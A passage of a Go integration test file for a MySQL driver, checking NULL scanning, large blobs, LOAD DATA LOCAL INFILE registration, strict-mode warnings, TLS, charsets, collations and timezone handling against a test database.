{\n\t\t\trows.Scan(&microsecsSupported)\n\t\t\trows.Close()\n\t\t}\n\t\tif !microsecsSupported {\n\t\t\t// skip test\n\t\t\treturn\n\t\t}\n\t\t_, err := dbt.db.Exec(`\n\t\t\tCREATE TABLE test (\n\t\t\t\tvalue0 TIMESTAMP NOT NULL DEFAULT '` + f0 + `',\n\t\t\t\tvalue1 TIMESTAMP(1) NOT NULL DEFAULT '` + f1 + `',\n\t\t\t\tvalue6 TIMESTAMP(6) NOT NULL DEFAULT '` + f6 + `'\n\t\t\t)`,\n\t\t)\n\t\tif err != nil {\n\t\t\tdbt.Error(err)\n\t\t}\n\t\tdefer dbt.mustExec(\"DROP TABLE IF EXISTS test\")\n\t\tdbt.mustExec(\"INSERT INTO test SET value0=?, value1=?, value6=?\", f0, f1, f6)\n\t\tvar res0, res1, res6 string\n\t\trows := dbt.mustQuery(\"SELECT * FROM test\")\n\t\tif !rows.Next() {\n\t\t\tdbt.Errorf(\"test contained no selectable values\")\n\t\t}\n\t\terr = rows.Scan(&res0, &res1, &res6)\n\t\tif err != nil {\n\t\t\tdbt.Error(err)\n\t\t}\n\t\tif res0 != f0 {\n\t\t\tdbt.Errorf(\"expected %q, got %q\", f0, res0)\n\t\t}\n\t\tif res1 != f1 {\n\t\t\tdbt.Errorf(\"expected %q, got %q\", f1, res1)\n\t\t}\n\t\tif res6 != f6 {\n\t\t\tdbt.Errorf(\"expected %q, got %q\", f6, res6)\n\t\t}\n\t})\n}\n\nfunc TestNULL(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tnullStmt, err := dbt.db.Prepare(\"SELECT NULL\")\n\t\tif err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tdefer nullStmt.Close()\n\n\t\tnonNullStmt, err := dbt.db.Prepare(\"SELECT 1\")\n\t\tif err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tdefer nonNullStmt.Close()\n\n\t\t// NullBool\n\t\tvar nb sql.NullBool\n\t\t// Invalid\n\t\tif err = nullStmt.QueryRow().Scan(&nb); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif nb.Valid {\n\t\t\tdbt.Error(\"valid NullBool which should be invalid\")\n\t\t}\n\t\t// Valid\n\t\tif err = nonNullStmt.QueryRow().Scan(&nb); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif !nb.Valid {\n\t\t\tdbt.Error(\"invalid NullBool which should be valid\")\n\t\t} else if nb.Bool != true {\n\t\t\tdbt.Errorf(\"Unexpected NullBool value: %t (should be true)\", nb.Bool)\n\t\t}\n\n\t\t// NullFloat64\n\t\tvar nf sql.NullFloat64\n\t\t// Invalid\n\t\tif err = nullStmt.QueryRow().Scan(&nf); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif nf.Valid {\n\t\t\tdbt.Error(\"valid NullFloat64 which should be invalid\")\n\t\t}\n\t\t// Valid\n\t\tif err = nonNullStmt.QueryRow().Scan(&nf); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif !nf.Valid {\n\t\t\tdbt.Error(\"invalid NullFloat64 which should be valid\")\n\t\t} else if nf.Float64 != float64(1) {\n\t\t\tdbt.Errorf(\"unexpected NullFloat64 value: %f (should be 1.0)\", nf.Float64)\n\t\t}\n\n\t\t// NullInt64\n\t\tvar ni sql.NullInt64\n\t\t// Invalid\n\t\tif err = nullStmt.QueryRow().Scan(&ni); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif ni.Valid {\n\t\t\tdbt.Error(\"valid NullInt64 which should be invalid\")\n\t\t}\n\t\t// Valid\n\t\tif err = nonNullStmt.QueryRow().Scan(&ni); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif !ni.Valid {\n\t\t\tdbt.Error(\"invalid NullInt64 which should be valid\")\n\t\t} else if ni.Int64 != int64(1) {\n\t\t\tdbt.Errorf(\"unexpected NullInt64 value: %d (should be 1)\", ni.Int64)\n\t\t}\n\n\t\t// NullString\n\t\tvar ns sql.NullString\n\t\t// Invalid\n\t\tif err = nullStmt.QueryRow().Scan(&ns); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif ns.Valid {\n\t\t\tdbt.Error(\"valid NullString which should be invalid\")\n\t\t}\n\t\t// Valid\n\t\tif err = nonNullStmt.QueryRow().Scan(&ns); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif !ns.Valid {\n\t\t\tdbt.Error(\"invalid NullString which should be valid\")\n\t\t} else if ns.String != `1` {\n\t\t\tdbt.Error(\"unexpected NullString value:\" + ns.String + \" (should be `1`)\")\n\t\t}\n\n\t\t// nil-bytes\n\t\tvar b []byte\n\t\t// Read nil\n\t\tif err = nullStmt.QueryRow().Scan(&b); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif b != nil {\n\t\t\tdbt.Error(\"non-nil []byte wich should be nil\")\n\t\t}\n\t\t// Read non-nil\n\t\tif err = nonNullStmt.QueryRow().Scan(&b); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif b == nil {\n\t\t\tdbt.Error(\"nil []byte wich should be non-nil\")\n\t\t}\n\t\t// Insert nil\n\t\tb = nil\n\t\tsuccess := false\n\t\tif err = dbt.db.QueryRow(\"SELECT ? IS NULL\", b).Scan(&success); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif !success {\n\t\t\tdbt.Error(\"inserting []byte(nil) as NULL failed\")\n\t\t}\n\t\t// Check input==output with input==nil\n\t\tb = nil\n\t\tif err = dbt.db.QueryRow(\"SELECT ?\", b).Scan(&b); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif b != nil {\n\t\t\tdbt.Error(\"non-nil echo from nil input\")\n\t\t}\n\t\t// Check input==output with input!=nil\n\t\tb = []byte(\"\")\n\t\tif err = dbt.db.QueryRow(\"SELECT ?\", b).Scan(&b); err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tif b == nil {\n\t\t\tdbt.Error(\"nil echo from non-nil input\")\n\t\t}\n\n\t\t// Insert NULL\n\t\tdbt.mustExec(\"CREATE TABLE test (dummmy1 int, value int, dummy2 int)\")\n\n\t\tdbt.mustExec(\"INSERT INTO test VALUES (?, ?, ?)\", 1, nil, 2)\n\n\t\tvar out interface{}\n\t\trows := dbt.mustQuery(\"SELECT * FROM test\")\n\t\tif rows.Next() {\n\t\t\trows.Scan(&out)\n\t\t\tif out != nil {\n\t\t\t\tdbt.Errorf(\"%v != nil\", out)\n\t\t\t}\n\t\t} else {\n\t\t\tdbt.Error(\"no data\")\n\t\t}\n\t})\n}\n\nfunc TestUint64(t *testing.T) {\n\tconst (\n\t\tu0    = uint64(0)\n\t\tuall  = ^u0\n\t\tuhigh = uall >> 1\n\t\tutop  = ^uhigh\n\t\ts0    = int64(0)\n\t\tsall  = ^s0\n\t\tshigh = int64(uhigh)\n\t\tstop  = ^shigh\n\t)\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tstmt, err := dbt.db.Prepare(`SELECT ?, ?, ? ,?, ?, ?, ?, ?`)\n\t\tif err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tdefer stmt.Close()\n\t\trow := stmt.QueryRow(\n\t\t\tu0, uhigh, utop, uall,\n\t\t\ts0, shigh, stop, sall,\n\t\t)\n\n\t\tvar ua, ub, uc, ud uint64\n\t\tvar sa, sb, sc, sd int64\n\n\t\terr = row.Scan(&ua, &ub, &uc, &ud, &sa, &sb, &sc, &sd)\n\t\tif err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tswitch {\n\t\tcase ua != u0,\n\t\t\tub != uhigh,\n\t\t\tuc != utop,\n\t\t\tud != uall,\n\t\t\tsa != s0,\n\t\t\tsb != shigh,\n\t\t\tsc != stop,\n\t\t\tsd != sall:\n\t\t\tdbt.Fatal(\"unexpected result value\")\n\t\t}\n\t})\n}\n\nfunc TestLongData(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tvar maxAllowedPacketSize int\n\t\terr := dbt.db.QueryRow(\"select @@max_allowed_packet\").Scan(&maxAllowedPacketSize)\n\t\tif err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tmaxAllowedPacketSize--\n\n\t\t// don't get too ambitious\n\t\tif maxAllowedPacketSize > 1<<25 {\n\t\t\tmaxAllowedPacketSize = 1 << 25\n\t\t}\n\n\t\tdbt.mustExec(\"CREATE TABLE test (value LONGBLOB)\")\n\n\t\tin := strings.Repeat(`a`, maxAllowedPacketSize+1)\n\t\tvar out string\n\t\tvar rows *sql.Rows\n\n\t\t// Long text data\n\t\tconst nonDataQueryLen = 28 // length query w/o value\n\t\tinS := in[:maxAllowedPacketSize-nonDataQueryLen]\n\t\tdbt.mustExec(\"INSERT INTO test VALUES('\" + inS + \"')\")\n\t\trows = dbt.mustQuery(\"SELECT value FROM test\")\n\t\tif rows.Next() {\n\t\t\trows.Scan(&out)\n\t\t\tif inS != out {\n\t\t\t\tdbt.Fatalf(\"LONGBLOB: length in: %d, length out: %d\", len(inS), len(out))\n\t\t\t}\n\t\t\tif rows.Next() {\n\t\t\t\tdbt.Error(\"LONGBLOB: unexpexted row\")\n\t\t\t}\n\t\t} else {\n\t\t\tdbt.Fatalf(\"LONGBLOB: no data\")\n\t\t}\n\n\t\t// Empty table\n\t\tdbt.mustExec(\"TRUNCATE TABLE test\")\n\n\t\t// Long binary data\n\t\tdbt.mustExec(\"INSERT INTO test VALUES(?)\", in)\n\t\trows = dbt.mustQuery(\"SELECT value FROM test WHERE 1=?\", 1)\n\t\tif rows.Next() {\n\t\t\trows.Scan(&out)\n\t\t\tif in != out {\n\t\t\t\tdbt.Fatalf(\"LONGBLOB: length in: %d, length out: %d\", len(in), len(out))\n\t\t\t}\n\t\t\tif rows.Next() {\n\t\t\t\tdbt.Error(\"LONGBLOB: unexpexted row\")\n\t\t\t}\n\t\t} else {\n\t\t\tif err = rows.Err(); err != nil {\n\t\t\t\tdbt.Fatalf(\"LONGBLOB: no data (err: %s)\", err.Error())\n\t\t\t} else {\n\t\t\t\tdbt.Fatal(\"LONGBLOB: no data (err: <nil>)\")\n\t\t\t}\n\t\t}\n\t})\n}\n\nfunc TestLoadData(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tverifyLoadDataResult := func() {\n\t\t\trows, err := dbt.db.Query(\"SELECT * FROM test\")\n\t\t\tif err != nil {\n\t\t\t\tdbt.Fatal(err.Error())\n\t\t\t}\n\n\t\t\ti := 0\n\t\t\tvalues := [4]string{\n\t\t\t\t\"a string\",\n\t\t\t\t\"a string containing a \\t\",\n\t\t\t\t\"a string containing a \\n\",\n\t\t\t\t\"a string containing both \\t\\n\",\n\t\t\t}\n\n\t\t\tvar id int\n\t\t\tvar value string\n\n\t\t\tfor rows.Next() {\n\t\t\t\ti++\n\t\t\t\terr = rows.Scan(&id, &value)\n\t\t\t\tif err != nil {\n\t\t\t\t\tdbt.Fatal(err.Error())\n\t\t\t\t}\n\t\t\t\tif i != id {\n\t\t\t\t\tdbt.Fatalf(\"%d != %d\", i, id)\n\t\t\t\t}\n\t\t\t\tif values[i-1] != value {\n\t\t\t\t\tdbt.Fatalf(\"%q != %q\", values[i-1], value)\n\t\t\t\t}\n\t\t\t}\n\t\t\terr = rows.Err()\n\t\t\tif err != nil {\n\t\t\t\tdbt.Fatal(err.Error())\n\t\t\t}\n\n\t\t\tif i != 4 {\n\t\t\t\tdbt.Fatalf(\"rows count mismatch. Got %d, want 4\", i)\n\t\t\t}\n\t\t}\n\t\tfile, err := ioutil.TempFile(\"\", \"gotest\")\n\t\tdefer os.Remove(file.Name())\n\t\tif err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tfile.WriteString(\"1\\ta string\\n2\\ta string containing a \\\\t\\n3\\ta string containing a \\\\n\\n4\\ta string containing both \\\\t\\\\n\\n\")\n\t\tfile.Close()\n\n\t\tdbt.db.Exec(\"DROP TABLE IF EXISTS test\")\n\t\tdbt.mustExec(\"CREATE TABLE test (id INT NOT NULL PRIMARY KEY, value TEXT NOT NULL) CHARACTER SET utf8\")\n\n\t\t// Local File\n\t\tRegisterLocalFile(file.Name())\n\t\tdbt.mustExec(fmt.Sprintf(\"LOAD DATA LOCAL INFILE %q INTO TABLE test\", file.Name()))\n\t\tverifyLoadDataResult()\n\t\t// negative test\n\t\t_, err = dbt.db.Exec(\"LOAD DATA LOCAL INFILE 'doesnotexist' INTO TABLE test\")\n\t\tif err == nil {\n\t\t\tdbt.Fatal(\"load non-existent file didn't fail\")\n\t\t} else if err.Error() != \"local file 'doesnotexist' is not registered\" {\n\t\t\tdbt.Fatal(err.Error())\n\t\t}\n\n\t\t// Empty table\n\t\tdbt.mustExec(\"TRUNCATE TABLE test\")\n\n\t\t// Reader\n\t\tRegisterReaderHandler(\"test\", func() io.Reader {\n\t\t\tfile, err = os.Open(file.Name())\n\t\t\tif err != nil {\n\t\t\t\tdbt.Fatal(err)\n\t\t\t}\n\t\t\treturn file\n\t\t})\n\t\tdbt.mustExec(\"LOAD DATA LOCAL INFILE 'Reader::test' INTO TABLE test\")\n\t\tverifyLoadDataResult()\n\t\t// negative test\n\t\t_, err = dbt.db.Exec(\"LOAD DATA LOCAL INFILE 'Reader::doesnotexist' INTO TABLE test\")\n\t\tif err == nil {\n\t\t\tdbt.Fatal(\"load non-existent Reader didn't fail\")\n\t\t} else if err.Error() != \"Reader 'doesnotexist' is not registered\" {\n\t\t\tdbt.Fatal(err.Error())\n\t\t}\n\t})\n}\n\nfunc TestFoundRows(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tdbt.mustExec(\"CREATE TABLE test (id INT NOT NULL ,data INT NOT NULL)\")\n\t\tdbt.mustExec(\"INSERT INTO test (id, data) VALUES (0, 0),(0, 0),(1, 0),(1, 0),(1, 1)\")\n\n\t\tres := dbt.mustExec(\"UPDATE test SET data = 1 WHERE id = 0\")\n\t\tcount, err := res.RowsAffected()\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"res.RowsAffected() returned error: %s\", err.Error())\n\t\t}\n\t\tif count != 2 {\n\t\t\tdbt.Fatalf(\"Expected 2 affected rows, got %d\", count)\n\t\t}\n\t\tres = dbt.mustExec(\"UPDATE test SET data = 1 WHERE id = 1\")\n\t\tcount, err = res.RowsAffected()\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"res.RowsAffected() returned error: %s\", err.Error())\n\t\t}\n\t\tif count != 2 {\n\t\t\tdbt.Fatalf(\"Expected 2 affected rows, got %d\", count)\n\t\t}\n\t})\n\trunTests(t, dsn+\"&clientFoundRows=true\", func(dbt *DBTest) {\n\t\tdbt.mustExec(\"CREATE TABLE test (id INT NOT NULL ,data INT NOT NULL)\")\n\t\tdbt.mustExec(\"INSERT INTO test (id, data) VALUES (0, 0),(0, 0),(1, 0),(1, 0),(1, 1)\")\n\n\t\tres := dbt.mustExec(\"UPDATE test SET data = 1 WHERE id = 0\")\n\t\tcount, err := res.RowsAffected()\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"res.RowsAffected() returned error: %s\", err.Error())\n\t\t}\n\t\tif count != 2 {\n\t\t\tdbt.Fatalf(\"Expected 2 matched rows, got %d\", count)\n\t\t}\n\t\tres = dbt.mustExec(\"UPDATE test SET data = 1 WHERE id = 1\")\n\t\tcount, err = res.RowsAffected()\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"res.RowsAffected() returned error: %s\", err.Error())\n\t\t}\n\t\tif count != 3 {\n\t\t\tdbt.Fatalf(\"Expected 3 matched rows, got %d\", count)\n\t\t}\n\t})\n}\n\nfunc TestStrict(t *testing.T) {\n\t// ALLOW_INVALID_DATES to get rid of stricter modes - we want to test for warnings, not errors\n\trelaxedDsn := dsn + \"&sql_mode='ALLOW_INVALID_DATES,NO_AUTO_CREATE_USER'\"\n\t// make sure the MySQL version is recent enough with a separate connection\n\t// before running the test\n\tconn, err := MySQLDriver{}.Open(relaxedDsn)\n\tif conn != nil {\n\t\tconn.Close()\n\t}\n\tif me, ok := err.(*MySQLError); ok && me.Number == 1231 {\n\t\t// Error 1231: Variable 'sql_mode' can't be set to the value of 'ALLOW_INVALID_DATES'\n\t\t// => skip test, MySQL server version is too old\n\t\treturn\n\t}\n\trunTests(t, relaxedDsn, func(dbt *DBTest) {\n\t\tdbt.mustExec(\"CREATE TABLE test (a TINYINT NOT NULL, b CHAR(4))\")\n\n\t\tvar queries = [...]struct {\n\t\t\tin    string\n\t\t\tcodes []string\n\t\t}{\n\t\t\t{\"DROP TABLE IF EXISTS no_such_table\", []string{\"1051\"}},\n\t\t\t{\"INSERT INTO test VALUES(10,'mysql'),(NULL,'test'),(300,'Open Source')\", []string{\"1265\", \"1048\", \"1264\", \"1265\"}},\n\t\t}\n\t\tvar err error\n\n\t\tvar checkWarnings = func(err error, mode string, idx int) {\n\t\t\tif err == nil {\n\t\t\t\tdbt.Errorf(\"expected STRICT error on query [%s] %s\", mode, queries[idx].in)\n\t\t\t}\n\n\t\t\tif warnings, ok := err.(MySQLWarnings); ok {\n\t\t\t\tvar codes = make([]string, len(warnings))\n\t\t\t\tfor i := range warnings {\n\t\t\t\t\tcodes[i] = warnings[i].Code\n\t\t\t\t}\n\t\t\t\tif len(codes) != len(queries[idx].codes) {\n\t\t\t\t\tdbt.Errorf(\"unexpected STRICT error count on query [%s] %s: Wanted %v, Got %v\", mode, queries[idx].in, queries[idx].codes, codes)\n\t\t\t\t}\n\n\t\t\t\tfor i := range warnings {\n\t\t\t\t\tif codes[i] != queries[idx].codes[i] {\n\t\t\t\t\t\tdbt.Errorf(\"unexpected STRICT error codes on query [%s] %s: Wanted %v, Got %v\", mode, queries[idx].in, queries[idx].codes, codes)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tdbt.Errorf(\"unexpected error on query [%s] %s: %s\", mode, queries[idx].in, err.Error())\n\t\t\t}\n\t\t}\n\n\t\t// text protocol\n\t\tfor i := range queries {\n\t\t\t_, err = dbt.db.Exec(queries[i].in)\n\t\t\tcheckWarnings(err, \"text\", i)\n\t\t}\n\n\t\tvar stmt *sql.Stmt\n\n\t\t// binary protocol\n\t\tfor i := range queries {\n\t\t\tstmt, err = dbt.db.Prepare(queries[i].in)\n\t\t\tif err != nil {\n\t\t\t\tdbt.Errorf(\"error on preparing query %s: %s\", queries[i].in, err.Error())\n\t\t\t}\n\n\t\t\t_, err = stmt.Exec()\n\t\t\tcheckWarnings(err, \"binary\", i)\n\n\t\t\terr = stmt.Close()\n\t\t\tif err != nil {\n\t\t\t\tdbt.Errorf(\"error on closing stmt for query %s: %s\", queries[i].in, err.Error())\n\t\t\t}\n\t\t}\n\t})\n}\n\nfunc TestTLS(t *testing.T) {\n\ttlsTest := func(dbt *DBTest) {\n\t\tif err := dbt.db.Ping(); err != nil {\n\t\t\tif err == ErrNoTLS {\n\t\t\t\tdbt.Skip(\"server does not support TLS\")\n\t\t\t} else {\n\t\t\t\tdbt.Fatalf(\"error on Ping: %s\", err.Error())\n\t\t\t}\n\t\t}\n\n\t\trows := dbt.mustQuery(\"SHOW STATUS LIKE 'Ssl_cipher'\")\n\n\t\tvar variable, value *sql.RawBytes\n\t\tfor rows.Next() {\n\t\t\tif err := rows.Scan(&variable, &value); err != nil {\n\t\t\t\tdbt.Fatal(err.Error())\n\t\t\t}\n\n\t\t\tif value == nil {\n\t\t\t\tdbt.Fatal(\"no Cipher\")\n\t\t\t}\n\t\t}\n\t}\n\n\trunTests(t, dsn+\"&tls=skip-verify\", tlsTest)\n\n\t// Verify that registering / using a custom cfg works\n\tRegisterTLSConfig(\"custom-skip-verify\", &tls.Config{\n\t\tInsecureSkipVerify: true,\n\t})\n\trunTests(t, dsn+\"&tls=custom-skip-verify\", tlsTest)\n}\n\nfunc TestReuseClosedConnection(t *testing.T) {\n\t// this test does not use sql.database, it uses the driver directly\n\tif !available {\n\t\tt.Skipf(\"MySQL server not running on %s\", netAddr)\n\t}\n\n\tmd := &MySQLDriver{}\n\tconn, err := md.Open(dsn)\n\tif err != nil {\n\t\tt.Fatalf(\"error connecting: %s\", err.Error())\n\t}\n\tstmt, err := conn.Prepare(\"DO 1\")\n\tif err != nil {\n\t\tt.Fatalf(\"error preparing statement: %s\", err.Error())\n\t}\n\t_, err = stmt.Exec(nil)\n\tif err != nil {\n\t\tt.Fatalf(\"error executing statement: %s\", err.Error())\n\t}\n\terr = conn.Close()\n\tif err != nil {\n\t\tt.Fatalf(\"error closing connection: %s\", err.Error())\n\t}\n\n\tdefer func() {\n\t\tif err := recover(); err != nil {\n\t\t\tt.Errorf(\"panic after reusing a closed connection: %v\", err)\n\t\t}\n\t}()\n\t_, err = stmt.Exec(nil)\n\tif err != nil && err != driver.ErrBadConn {\n\t\tt.Errorf(\"unexpected error '%s', expected '%s'\",\n\t\t\terr.Error(), driver.ErrBadConn.Error())\n\t}\n}\n\nfunc TestCharset(t *testing.T) {\n\tif !available {\n\t\tt.Skipf(\"MySQL server not running on %s\", netAddr)\n\t}\n\n\tmustSetCharset := func(charsetParam, expected string) {\n\t\trunTests(t, dsn+\"&\"+charsetParam, func(dbt *DBTest) {\n\t\t\trows := dbt.mustQuery(\"SELECT @@character_set_connection\")\n\t\t\tdefer rows.Close()\n\n\t\t\tif !rows.Next() {\n\t\t\t\tdbt.Fatalf(\"error getting connection charset: %s\", rows.Err())\n\t\t\t}\n\n\t\t\tvar got string\n\t\t\trows.Scan(&got)\n\n\t\t\tif got != expected {\n\t\t\t\tdbt.Fatalf(\"expected connection charset %s but got %s\", expected, got)\n\t\t\t}\n\t\t})\n\t}\n\n\t// non utf8 test\n\tmustSetCharset(\"charset=ascii\", \"ascii\")\n\n\t// when the first charset is invalid, use the second\n\tmustSetCharset(\"charset=none,utf8\", \"utf8\")\n\n\t// when the first charset is valid, use it\n\tmustSetCharset(\"charset=ascii,utf8\", \"ascii\")\n\tmustSetCharset(\"charset=utf8,ascii\", \"utf8\")\n}\n\nfunc TestFailingCharset(t *testing.T) {\n\trunTests(t, dsn+\"&charset=none\", func(dbt *DBTest) {\n\t\t// run query to really establish connection...\n\t\t_, err := dbt.db.Exec(\"SELECT 1\")\n\t\tif err == nil {\n\t\t\tdbt.db.Close()\n\t\t\tt.Fatalf(\"connection must not succeed without a valid charset\")\n\t\t}\n\t})\n}\n\nfunc TestCollation(t *testing.T) {\n\tif !available {\n\t\tt.Skipf(\"MySQL server not running on %s\", netAddr)\n\t}\n\n\tdefaultCollation := \"utf8_general_ci\"\n\ttestCollations := []string{\n\t\t\"\",               // do not set\n\t\tdefaultCollation, // driver default\n\t\t\"latin1_general_ci\",\n\t\t\"binary\",\n\t\t\"utf8_unicode_ci\",\n\t\t\"cp1257_bin\",\n\t}\n\n\tfor _, collation := range testCollations {\n\t\tvar expected, tdsn string\n\t\tif collation != \"\" {\n\t\t\ttdsn = dsn + \"&collation=\" + collation\n\t\t\texpected = collation\n\t\t} else {\n\t\t\ttdsn = dsn\n\t\t\texpected = defaultCollation\n\t\t}\n\n\t\trunTests(t, tdsn, func(dbt *DBTest) {\n\t\t\tvar got string\n\t\t\tif err := dbt.db.QueryRow(\"SELECT @@collation_connection\").Scan(&got); err != nil {\n\t\t\t\tdbt.Fatal(err)\n\t\t\t}\n\n\t\t\tif got != expected {\n\t\t\t\tdbt.Fatalf(\"expected connection collation %s but got %s\", expected, got)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestColumnsWithAlias(t *testing.T) {\n\trunTests(t, dsn+\"&columnsWithAlias=true\", func(dbt *DBTest) {\n\t\trows := dbt.mustQuery(\"SELECT 1 AS A\")\n\t\tdefer rows.Close()\n\t\tcols, _ := rows.Columns()\n\t\tif len(cols) != 1 {\n\t\t\tt.Fatalf(\"expected 1 column, got %d\", len(cols))\n\t\t}\n\t\tif cols[0] != \"A\" {\n\t\t\tt.Fatalf(\"expected column name \\\"A\\\", got \\\"%s\\\"\", cols[0])\n\t\t}\n\t\trows.Close()\n\n\t\trows = dbt.mustQuery(\"SELECT * FROM (SELECT 1 AS one) AS A\")\n\t\tcols, _ = rows.Columns()\n\t\tif len(cols) != 1 {\n\t\t\tt.Fatalf(\"expected 1 column, got %d\", len(cols))\n\t\t}\n\t\tif cols[0] != \"A.one\" {\n\t\t\tt.Fatalf(\"expected column name \\\"A.one\\\", got \\\"%s\\\"\", cols[0])\n\t\t}\n\t})\n}\n\nfunc TestRawBytesResultExceedsBuffer(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\t// defaultBufSize from buffer.go\n\t\texpected := strings.Repeat(\"abc\", defaultBufSize)\n\n\t\trows := dbt.mustQuery(\"SELECT '\" + expected + \"'\")\n\t\tdefer rows.Close()\n\t\tif !rows.Next() {\n\t\t\tdbt.Error(\"expected result, got none\")\n\t\t}\n\t\tvar result sql.RawBytes\n\t\trows.Scan(&result)\n\t\tif expected != string(result) {\n\t\t\tdbt.Error(\"result did not match expected value\")\n\t\t}\n\t})\n}\n\nfunc TestTimezoneConversion(t *testing.T) {\n\tzones := []string{\"UTC\", \"US/Central\", \"US/Pacific\", \"Local\"}\n\n\t// Regression test for timezone handling\n\ttzTest := func(dbt *DBTest) {\n\n\t\t// Create table\n\t\tdbt.mustExec(\"CREATE TABLE test (ts TIMESTAMP)\")\n\n\t\t// Insert local time into database (should be converted)\n\t\tusCentral, _ := time.LoadLocation(\"US/Central\")\n\t\treftime := time.Date(2014, 05, 30, 18, 03, 17, 0, time.UTC).In(usCentral)\n\t\tdbt.mustExec(\"INSERT INTO test VALUE (?)\", reftime)\n\n\t\t// Retrieve time from DB\n\t\trows := dbt.mustQuery(\"SELECT ts FROM test\")\n\t\tif !rows.Next() {\n\t\t\tdbt.Fatal(\"did not get any rows out\")\n\t\t}\n\n\t\tvar dbTime time.Time\n\t\terr := rows.Scan(&dbTime)\n\t\tif err != nil {\n\t\t\tdbt.Fatal(\"Err\", err)\n\t\t}\n\n\t\t// Check that dates match\n\t\tif reftime.Unix() != dbTime.Unix() {\n\t\t\tdbt.Errorf(\"times do not match.\\n\")\n\t\t\tdbt.Errorf(\" Now(%v)=%v\\n\", usCentral, reftime)\n\t\t\tdbt.Errorf(\" Now(UTC)=%v\\n\", dbTime)\n\t\t}\n\t}\n\n\tfor _, tz := range zones {\n\t\trunTests(t, dsn+\"&parseTime=true&loc=\"+url.QueryEscape(tz), tzTest)\n\t}\n}\n\n// Special cases\n\nfunc TestRowsClose(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\trows, err := dbt.db.Query(\"SELECT 1\")\n\t\tif err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\n\t\terr = rows.Close()\n\t\tif err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\n\t\tif rows.Next() {\n\t\t\tdbt.Fatal(\"unexpected row after rows.Close()\")\n\t\t}\n\n\t\terr = rows.Err()\n\t\tif err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t})\n}\n\n// dangling statements\n// http://code.google.com/p/go/issues/detail?id=3865\nfunc TestCloseStmtBeforeRows(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tstmt, err := dbt.db.Prepare(\"SELECT 1\")\n\t\tif err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\n\t\trows, err := stmt.Query()\n\t\tif err != nil {\n\t\t\tstmt.Close()\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tdefer rows.Close()\n\n\t\terr = stmt.Close()\n\t\tif err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\n\t\tif !rows.Next() {\n\t\t\tdbt.Fatal(\"getting row failed\")\n\t\t} else {\n\t\t\terr = rows.Err()\n\t\t\tif err != nil {\n\t\t\t\tdbt.Fatal(err)\n\t\t\t}\n\n\t\t\tvar out bool\n\t\t\terr = rows.Scan(&out)\n\t\t\tif err != nil {\n\t\t\t\tdbt.Fatalf(\"error on rows.Scan(): %s\", err.Error())\n\t\t\t}\n\t\t\tif out != true {\n\t\t\t\tdbt.Errorf(\"true != %t\", out)\n\t\t\t}\n\t\t}\n\t})\n}\n\n// It is valid to have multiple Rows for the same Stmt\n// http://code.google.com/p/go/issues/detail?id=3734\nfunc TestStmtMultiRows(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\tstmt, err := dbt.db.Prepare(\"SELECT 1 UNION SELECT 0\")\n\t\tif err != nil {\n\t\t\tdbt.Fatal(err)\n\t\t}\n\n\t\trows1, err := stmt.Query()\n\t\tif err != nil {\n\t\t\tstmt.Close()\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tdefer rows1.Close()\n\n\t\trows2, err := stmt.Query()\n\t\tif err != nil {\n\t\t\tstmt.Close()\n\t\t\tdbt.Fatal(err)\n\t\t}\n\t\tdefer rows2.Close()\n\n\t\tvar out bool\n\n\t\t// 1\n\t\tif !rows1.Next() {\n\t\t\tdbt.Fatal(\"first rows1.Next failed\")\n\t\t} else {\n\t\t\terr = rows1.Err()\n\t\t\tif err != nil {\n\t\t\t\tdbt.Fatal(err)\n\t\t\t}\n\n\t\t\terr = rows1.Scan(&out)\n\t\t\tif err != nil {\n\t\t\t\tdbt.Fatalf(\"error on rows.Scan(): %s\", err.Error())\n\t\t\t}\n\t\t\tif out != true {\n\t\t\t\tdbt.Errorf(\"true != %t\", out)\n\t\t\t}\n\t\t}\n\n\t\tif 